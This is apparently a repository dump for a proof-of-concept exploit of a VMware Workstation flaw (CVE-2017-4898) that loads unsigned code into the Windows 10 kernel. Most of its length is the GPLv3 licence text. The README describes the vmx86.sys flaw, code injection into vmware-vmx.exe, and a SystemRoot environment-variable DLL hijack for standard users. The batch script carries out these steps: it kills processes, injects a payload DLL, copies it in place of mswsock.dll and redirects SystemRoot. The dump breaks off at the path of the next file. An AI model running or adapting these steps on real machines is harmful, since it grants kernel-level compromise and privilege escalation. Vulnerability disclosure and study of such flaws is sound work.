[
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    {one line to give the program's name and a brief idea of what it does.}\n    Copyright (C) {year}  {name of author}\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    {project}  Copyright (C) {year}  {fullname}\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "README.md",
    "content": "# vmw_vmx_overloader\n\n\nLoading unsigned code into kernel of latest Windows 10 (64) with help of VMware Workstation Pro/Player design flaw. \n\n\nIt is well known, however in case you are not familiar - few words about workstation “hypervisor”:\n\nIt is located inside vmware-vmx.exe resources as elf executables.\nThose elf’s from usermode resources are manually loaded into kernelmode using helper driver vmx86.sys.\nVmware-vmx.exe and vmx86.sys communication is performed using deviceiocontrols.\nOne of those controls is VMX86_RUN_VM, it is executed from “vmware-vmx:VMLoader”, vmx86.sys handler for this iocontrol invokes in kernelmode not verified functions delivered from usermode.\n\nSo by simply overwriting one function (Host64ToVmm) it is possible to execute our code in kernelmode. \n\n(after quick check it seems that hypervisor for workstation family is loaded in the same way on macOS and linux)\n\n(.text:0000000140007523 FF D2 call rdx)\nWhen this call is made environment is already partially set for hypervisor creating some limitations, to bypass it in PoC there is upper function return address redirected - making payload execution much more comfortable.\n\n\nFor admin user injecting code to vmware-vmx.exe is as simple as: OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread (w/o elevation)\n\n\nbonus:\nFor limited (standard) user it isn't so easy because when vmware-authd service creates vmware-vmx process it sets higher integrity level.\nvmware-vmx process uses SetDefaultDllDirectories, SetSearchPathMode and SetDllDirectoryW mitigating simple dll hijacking.\nHowever vmware-authd doesn't sanitize local environment variables when creating child vmware-vmx process, it is possible to set local variable SystemRoot pointing to controlled directory. As it turns out some of dlls dependencies will be loaded from that controlled directory (mswsock.dll is used in PoC)\n\n\nVMware was contacted regarding this, as a result issues was addressed in security advisory: VMSA-2017-0003 (CVE-2017-4898) \n\n\n\nx64 PoC testing environment:\n- i7 2xxx, Windows 10 x64 (1607) HOME, VMware Workstation Full 12.5.2, VMware Workstation Player 12.5.1\n- i5 6xxxU, Windows 10 x64 (insider 15002, 15025) PRO, VMware Workstation Full 12.5.2, VMware Workstation Player 12.5.1\n\nbinary:\nPlease keep in mind it is messy barely tested PoC so on other configuration it can potentially cause bsod, system instability or even bricking limited user account. So I don't take responsibility for any damage. You should only use it if you really know what you are doing.\n\n\n*it is fast and messy PoC, therefore I've used hooks inside vmware-vmx, with proper execution chain and thread context - instead of building malicious request myself\n\n**Quite Frankly I do understand VMware Workstation design - simply it was designed years before Microsoft thought of signing drivers. Interesting now is that MS signed that driver as since Windows 10 (1607) (fresh installations with secureboot) drivers needs to be also signed by Microsoft (Dev Portal). \nMicrosoft made that change to make OS supposedly more secure, when vmx86.sys loads to kernelmode code that isn't anyway validated IMO this whole security model goes out of the window(s) ;)\n \n"
  },
  {
    "path": "cmd/__exec_poc.cmd",
    "content": "@echo off\r\n\r\necho user\r\nwhoami\r\n\r\necho kill all vmware-vmx.exe\r\nsimple_injection.exe vmware-vmx.exe\r\n\r\necho remove lock files\r\ncd dummie_vm\r\nfor /d %%G in (\"%~dp0dummie_vm\\*lck\") do rd /s /q \"%%~G\"\r\ncd ..\r\n\r\necho start vm\r\n:st\r\nvmrun.exe start \"%~dp0dummie_vm\\dummie_vm.vmx\"\r\n\r\necho try simple injection\r\nsimple_injection.exe vmware-vmx.exe \"%~dp0dll_payload.dll\" dummie_vm\r\nIF %ERRORLEVEL% EQU 0 (\r\n\r\necho injection failed, try dll hack\r\n\r\necho kill all vmware.exe, vmplayer.exe, vmware-vmx.exe\r\n\r\nstart simple_injection.exe vmware.exe\r\nstart simple_injection.exe vmplayer.exe\r\nsimple_injection.exe vmware-vmx.exe\r\n\r\necho create local systemroot\r\nmkdir \"%~dp0wnd\"\r\nmkdir \"%~dp0wnd\\System32\"\r\n\r\necho copy some systemroot files in case of __fix_systemroot.cmd fail account wont get brick\r\n\r\ncopy %SystemRoot%\\System32\\*.dll \"%~dp0wnd\\System32\\\" > NUL\r\ncopy %SystemRoot%\\System32\\*.exe \"%~dp0wnd\\System32\\\" > NUL\r\ncopy %SystemRoot%\\*.exe \"%~dp0wnd\\\" > NUL\r\ncopy %SystemRoot%\\*.dll \"%~dp0wnd\\\" > NUL\r\ndel \\F \\Q \"%~dp0wnd\\System32\\mswsock.dll\"\r\ncopy dll_payload.dll \"%~dp0wnd\\System32\\mswsock.dll\"\r\n\r\necho setx SystemRoot to local\r\nsetx SystemRoot %~dp0wnd\r\n\r\necho start systemroot fixer\r\nstart __fix_systemroot.cmd\r\n\r\necho vmrun\r\n\r\nvmrun.exe start \"%~dp0dummie_vm\\dummie_vm.vmx\"\r\nping 127.0.0.1 -n 5 > nul\r\n\r\n) ELSE (\r\necho reset vm to trigger\r\nstart vmrun.exe reset \"%~dp0dummie_vm\\dummie_vm.vmx\"\r\necho wait 3 seconds\r\nping 127.0.0.1 -n 3 > nul\r\necho killing vmware.exe\r\necho killing vmplayer.exe\r\necho killing vmware-vmx.exe\r\nping 127.0.0.1 -n 0 > nul\r\nstart simple_injection.exe vmware.exe\r\nstart simple_injection.exe vmplayer.exe\r\nsimple_injection.exe vmware-vmx.exe\r\n)\r\n\r\n\r\necho user\r\nwhoami\r\n\r\nPAUSE"
  },
  {
    "path": "cmd/__exec_poc_simple_vmplayer.cmd",
